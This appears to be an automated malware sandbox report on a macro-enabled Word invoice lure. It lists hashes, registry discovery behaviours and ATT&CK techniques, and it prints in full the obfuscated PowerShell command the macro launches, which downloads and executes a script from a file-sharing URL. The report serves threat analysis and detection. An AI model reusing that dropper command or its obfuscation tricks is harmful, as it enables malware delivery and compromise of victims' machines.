9da040b601db75cb64fe4779cba274a42c732e34fdd3226183e30d36e8427bcc

Analysis

max time kernel
167s
max time network
199s
platform
windows10-1703_x64
resource
win10-20220718-en
resource tags

arch:x64arch:x86image:win10-20220718-enlocale:en-usos:windows10-1703-x64system
submitted
31-07-2022 18:37

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General

Target

INVOICE PACKAGE LINK TO DOWNLOAD.docm
Size

16KB
MD5

f2d0c66b801244c059f636d08a474079
SHA1

c62129fff128817b5af62aa0051c082f9992112e
SHA256

08d4fd5032b8b24072bdff43932630d4200f68404d7e12ffeeda2364c8158873
SHA512

5283b2c228d6bdfe5d942f0a318ecd7e251e8a78d1451dc825f05e35d5e07a362e04c8777f63761b13bc672e76391cdc11be5e86ae4a260715e3e5a5cd2f305d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://filetransfer.io/data-package/UR2whuBv/download

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4136	2196	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

15 4136 powershell.exe

flow	pid	process
15	4136	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2196 WINWORD.EXE
2196 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4136 powershell.exe
4136 powershell.exe
4136 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4136 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2196 WINWORD.EXE
2196 WINWORD.EXE
2196 WINWORD.EXE
2196 WINWORD.EXE
2196 WINWORD.EXE
2196 WINWORD.EXE
2196 WINWORD.EXE

pid	process
2196	WINWORD.EXE
2196	WINWORD.EXE

pid	process
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4136	powershell.exe

pid	process
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE
2196	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2196 wrote to memory of 4136	2196	WINWORD.EXE	powershell.exe
PID 2196 wrote to memory of 4136	2196	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INVOICE PACKAGE LINK TO DOWNLOAD.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://filetransfer.io/data-package/UR2whuBv/download'))))
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4136

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2196-117-0x00007FF986880000-0x00007FF986890000-memory.dmp

Filesize
64KB

Download
memory/2196-118-0x00007FF986880000-0x00007FF986890000-memory.dmp

Filesize
64KB

Download
memory/2196-119-0x00007FF986880000-0x00007FF986890000-memory.dmp

Filesize
64KB

Download
memory/2196-120-0x00007FF986880000-0x00007FF986890000-memory.dmp

Filesize
64KB

Download
memory/2196-123-0x00007FF983AF0000-0x00007FF983B00000-memory.dmp

Filesize
64KB

Download
memory/2196-124-0x00007FF983AF0000-0x00007FF983B00000-memory.dmp

Filesize
64KB

Download
memory/4136-254-0x0000000000000000-mapping.dmp

Download
memory/4136-260-0x0000024478780000-0x00000244787A2000-memory.dmp

Filesize
136KB

Download
memory/4136-263-0x0000024478940000-0x00000244789B6000-memory.dmp

Filesize
472KB

Download